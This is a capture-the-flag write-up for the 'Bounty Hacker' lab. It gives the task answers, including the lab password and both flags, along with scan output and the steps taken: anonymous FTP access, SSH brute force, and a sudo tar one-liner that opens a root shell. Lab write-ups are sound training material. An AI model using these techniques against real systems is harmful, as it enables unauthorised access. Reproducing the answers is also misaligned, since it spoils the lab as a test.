Bounty Hacker

Bounty Hacker

**You talked a big game about being the most elite hacker in the solar system.
Prove it and claim your right to the status of Elite Bounty Hacker!**

[Task 1] Living up to the title.

**You were boasting on and on about your elite hacker skills in the bar and a few Bounty Hunters decided they'd take you up on claims!
Prove your status is more than just a few glasses at the bar.
I sense bell peppers & beef in your future!**

#1
Deploy the machine.

No answer needed

#2
Find open ports on the machine

No answer needed

#3
Who wrote the task list?

lin

#4
What service can you bruteforce with the text file found?

ssh

#5
What is the users password?

RedDr4gonSynd1cat3

#6
user.txt

THM{CR1M3_SyNd1C4T3}

#7
root.txt

THM{80UN7Y_h4cK3r}

nmap-scan

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.2.27.69
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)
|   256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)
|_  256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

buster-scan

```
/images (Status: 301)
/index.html (Status: 200)
```

400+:

```
/server-status (Status: 403)
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
```

writeup

---USER-FLAG--

--ran sudo nmap -sC -sV 10.10.25.169 and found open ports on 21, 22, and 80

--saw “ftp-anon: Anonymous FTP login allowed” in nmap scan

--logged into FTP with ftp 10.10.25.169 and found 2 text files, so I ran get command for both files

```
-rw-rw-r--    1 ftp      ftp           418 Jun 07 21:41 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07 21:47 task.txt
```

--used “locks.txt” and username “lin” to bruteforce SSH and found password RedDr4gonSynd1cat3

```
[22][ssh] host: 10.10.25.169   login: lin   password: RedDr4gonSynd1cat3
```

--logged into SSH with ssh lin@10.10.25.169 then ran ls and saw user.txt

--ran cat user.txt to get user flag

```
THM{CR1M3_SyNd1C4T3}
```

---ROOT-FLAG--

--I then ran sudo -l and got:

```
User lin may run the following commands on bountyhacker:
    (root) /bin/tar
```

--found a privesc on gtfobins for using tar to gain root access:

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

--ran whoami and got:

```
root
```

--ran cat /root/root.txt and got root flag:

```
THM{80UN7Y_h4cK3r}
```